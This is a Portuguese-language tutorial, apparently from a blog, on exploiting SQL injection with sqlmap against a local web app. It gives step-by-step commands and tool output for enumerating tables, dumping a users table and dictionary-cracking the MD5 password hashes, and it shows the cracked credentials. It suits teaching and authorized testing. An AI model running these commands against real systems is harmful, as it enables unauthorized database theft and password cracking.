Ad Code

Responsive Advertisement

Ticker

6/recent/ticker-posts

SQL Injection na prática com SQLMAP

 


O que é SQL Injection?

SQL Injection é uma injeção de consultas. Ela é considerada uma ameaça de segurança por utilizar o conector ativo da aplicação com o banco de dados, aproveitando-se de parâmetros enviados a ele sem tratamentos de segurança para executar comando arbitrários (arbitrary code execution). Isso faz com que dados sigilosos do banco de dados como nome de usuários, senhas e nome de tabelas fiquem expostos.

Já o SQLMAP é uma ferramenta open source que possui um dicionário de retorno de consultas. O seu objetivo é identificar a versão e o tipo de base de dados utilizados pela aplicação, o que nos permite saber como explorá-la, automatizando uma série de comandos que seriam manuais.

Explorando vulnerabilidades com SQLMAP

Uma ferramenta muito utilizada por hackers para injeção de dependências é o SQLMAP. Você pode realizar o download através do seguinte comando:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

Após isso, dentro do diretório ~/sqlmap-dev execute o comando:

./sqlmap.py -u http://0.0.0.0:5000/home/1 --dbs --tables

Durante a execução, o SQLMAP pode realizar alguma perguntas para melhor customizar a execução. Neste caso ele está avisando que a URL não está em um padrão conhecido, e se você deseja prosseguir, vamos digitar “Y”:

[WARNING] you've provided target URL without any GET parameters (e.g. 'http://www.site.com/article.php?id=1') and without providing any POST parameters through option '--data'
do you want to try URI injections in the target URL itself? [Y/n/q]

Por vezes pode ocorrer de ser detectado a existência de um webfirewall, perguntando novamente se você deseja prosseguir, digitaremos “Y”:

[22:57:18] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:57:18] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] 

Existem momentos que os comandos enviados pelo SQLMAP podem ocasionar erro 500 no retorno da execução da requisição enviada, clique em “C” para continuar.

[DEBUG] got HTTP error code: 500 ('INTERNAL SERVER ERROR')
[WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]

Neste ponto, ele encontrou um provável parâmetro que permite uma injeção de SQL, inclusive mencionado o tipo de banco da aplicação SQLITE. É perguntado se gostaríamos de continuar testando exploração para outros bancos de dados. Após, digitaremos “Y” pois já identificamos o tipo de banco de dados.

[INFO] heuristic (basic) test shows that URI parameter '#1*' might be injectable (possible DBMS: 'SQLite')
[19:15:32] [INFO] testing for SQL injection on URI parameter '#1*'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

Como não informamos na execução inicial do script por parâmetro qual a profundidade do teste, será utilizado a configuração padrão, a qual está configurado para 1, o nível mais raso, então digitaremos “n”.

for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (1) and risk (1) values? [Y/n]

Nossa ferramenta agora está relatando que recomenda a execução de testes UNION somente se uma potencial falha for encontrada. Assim, é perguntado se desejamos reduzir o número de requisições (para otimizar o tempo de execução do nosso teste. Logo após isso, digitaremos Y.

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]

Nesse momento, encontramos um parâmetro vulnerável. É perguntado se você deseja testar outros parâmetros. Em seguida, digitaremos N, a fim de poupar tempo novamente, pois vamos explorar esse parâmetro em específico.

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]

Retornando o tipo de base de dados e as tabelas dele:

Database: SQLite_masterdb
[2 table]
+-------+
| pages |
| users |
+-------+

Extraindo informações

Sabendo o nome da tabela, podemos executar o script novamente passando ela como parâmetro e especificando que queremos que retorne suas colunas (columns):

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --batch --columns

O retorno foi:

Table: users
[3 columns]
+----------+------+
| Column   | Type |
+----------+------+
| Password | TEXT |
| UserId   | INT  |
| UserName | TEXT |
+----------+------+

Vendo que possuímos poucas colunas (e provavelmente poucos dados), podemos adicionar ao parâmetro –dump, para literalmente dumpear (trazer) todas informações do banco de dados para aquela tabela:

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --dump

Por não encontrar nenhum parâmetro POST ou GET para a URL, ele pergunta se desejamos fazer injeção de código na própria url então digitaremos Y.

[23:07:54] [WARNING] you’ve provided target URL without any GET parameters (e.g. ‘http://www.site.com/article.php?id=1’) and without providing any POST parameters through option ‘–data’ do you want to try URI injections in the target URL itself? [Y/n/q]

Ao analisar os dados da tabela, foi identificado que existem possíveis hashes na coluna Password. É questionado se você quer armazenar ela para usar em alguma outra ferramenta ao fim do programa. Digitaremos N:

[19:40:20] [DEBUG] analyzing table dump for possible password hashes
[19:40:20] [INFO] recognized possible password hashes in column 'Password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]

O SQLPMAP já possui um dicionário de senhas e hashes mais utilizados. Ele pergunta se você quer utilizar um “brute force” utilizando esse dicionário interno. Digitaremos Y:

do you want to crack them via a dictionary-based attack? [Y/n/q]

Ele pergunta agora, se utilizaremos um dicionário padrão do SQLMAP ou um arquivo externo contendo essas possíveis senhas/hashes. Como utilizaremos o próprio SQLMAP, digitaremos 1.

[19:45:06] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/home/jonas/sqlmap-dev/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files

Então, o sistema pergunta se você deseja usar sufixos padrões para senhas, então digitaremos Y novamente:

do you want to use common password suffixes? (slow!) [y/N]

Após aguardar alguns minutos, conseguiremos crackear as senhas conforme o código abaixo:

[19:48:04] [INFO] cracked password 'Password2!' for user 'User'                               
Database: SQLite_masterdb
Table: users
[4 entries]
+--------+----------+-----------------------------------------------+
| UserId | UserName | Password                                      |
+--------+----------+-----------------------------------------------+
| 1      | Admin    | 0cef1fb10f60529028a71f58e54ed07b (Password1!) |
| 2      | User     | 022b5ac7ea72a5ee3bfc6b3eb461f2fc (Password2!) |
| 3      | Guest    | 94ca112be7fc3f3934c45c6809875168 (Password3!) |
| 4      | Plebian  | 0cbdc7572ff7d07cc6807a5b102a3b93 (Password4!) |
+--------+----------+-----------------------------------------------+

Você também pode utilizar o parâmetro  –batch para responder a todas as perguntas que respondemos de maneira automática.

./sqlmap.py -u http://0.0.0.0:5000/home/1 --dbs --batch --tables

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --batch --columns

./sqlmap.py -u http://0.0.0.0:5000/home/1 -T users --batch --dump